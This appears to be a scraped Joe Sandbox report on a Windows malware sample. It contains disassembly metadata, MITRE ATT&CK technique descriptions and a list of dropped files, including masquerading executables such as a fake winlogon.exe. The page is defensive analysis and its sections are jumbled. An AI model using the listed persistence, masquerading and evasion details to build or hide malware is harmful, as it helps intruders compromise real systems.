Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: Thread_wcschr$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2706921342-3849766595
Opcode ID: f032abed455112b54a1f959d6787a5d81e04ebe1988f0e812243d7d9130640fd
Instruction ID: 0a8009cc8bade56628ba07e67d621f4ed6e2280baf961a9279ce8eb76758a1f9
Opcode Fuzzy Hash: f032abed455112b54a1f959d6787a5d81e04ebe1988f0e812243d7d9130640fd
Instruction Fuzzy Hash: CE01FEB534430D6FE7346F64AC55BB6B359EB40751F20042EF947521D1CEE96CC54624

Uniqueness

Uniqueness Score: -1.00%

Function 0072C058 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 48COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0072C080

Strings

?*<>|", xrefs: 0072C06D, 0072C07F
<9u, xrefs: 0072C076

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _wcschr
String ID: <9u$?*<>|"
API String ID: 2691759472-1881834610
Opcode ID: 9dbe60ce3a1ff67ab8ea4464e774f43190686f163ae3b34976749307b15c9b46
Instruction ID: 5e5c9f2ee500926741c626ae99eaaa3765fc4562f73a282fb6db53df7c550436
Opcode Fuzzy Hash: 9dbe60ce3a1ff67ab8ea4464e774f43190686f163ae3b34976749307b15c9b46
Instruction Fuzzy Hash: B8F0D153A44321C1C7311A29BC01B3AB3E4EFB5720F38081EE5C8872D2E6AD98C082A5

Uniqueness

Uniqueness Score: -1.00%

Function 00748268 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

Part of subcall function 0074BF30: GetEnvironmentStringsW.KERNEL32 ref: 0074BF39
Part of subcall function 0074BF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0074BF5C
Part of subcall function 0074BF30: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0074BF82
Part of subcall function 0074BF30: _free.LIBCMT ref: 0074BF95
Part of subcall function 0074BF30: FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0074BFA4

_free.LIBCMT ref: 007482AE
_free.LIBCMT ref: 007482B5

Strings

0"x, xrefs: 0074829B

Memory Dump Source

Source File: 00000004.00000002.1629296712.0000000000721000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00720000, based on PE: true

Associated: 00000004.00000002.1629274806.0000000000720000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629415868.0000000000753000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.000000000075E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000765000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629434369.0000000000782000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000004.00000002.1629491530.0000000000783000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_720000_dwartg.jbxd

Similarity

API ID: _free$ByteCharEnvironmentMultiStringsWide$Free
String ID: 0"x
API String ID: 400815659-575046572
Opcode ID: 7505c69dc6535633e76b85dee9e95338e4001b3c6091babb21e435f5a2f92159
Instruction ID: 1f5f410fc78f00ec7d8363e5c4a4ce0d6744abc99434c38bd5af54256bcf67f6
Opcode Fuzzy Hash: 7505c69dc6535633e76b85dee9e95338e4001b3c6091babb21e435f5a2f92159
Instruction Fuzzy Hash: 43E02B33B0AD46D192E132792C0E62F0640AFC5339B150326F910CB0D3CF9C880749E7

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report H9gMIu2HXi.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Java\jre-1.8\bin\client\8de7bf56f754b7

C:\Program Files (x86)\Java\jre-1.8\bin\client\vXKtedDiKZHKptbUFqIBdHmZ.exe

C:\Program Files (x86)\MSBuild\Microsoft\8de7bf56f754b7

C:\Program Files (x86)\MSBuild\Microsoft\vXKtedDiKZHKptbUFqIBdHmZ.exe

C:\Program Files\Microsoft Office 15\8de7bf56f754b7

C:\Program Files\Microsoft Office 15\vXKtedDiKZHKptbUFqIBdHmZ.exe

C:\Program Files\Windows Multimedia Platform\8de7bf56f754b7

C:\Program Files\Windows Multimedia Platform\vXKtedDiKZHKptbUFqIBdHmZ.exe

C:\Recovery\cc11b995f2a76d

C:\Recovery\winlogon.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SurrogatewebSession.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\vXKtedDiKZHKptbUFqIBdHmZ.exe.log

Windows Analysis Report
H9gMIu2HXi.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre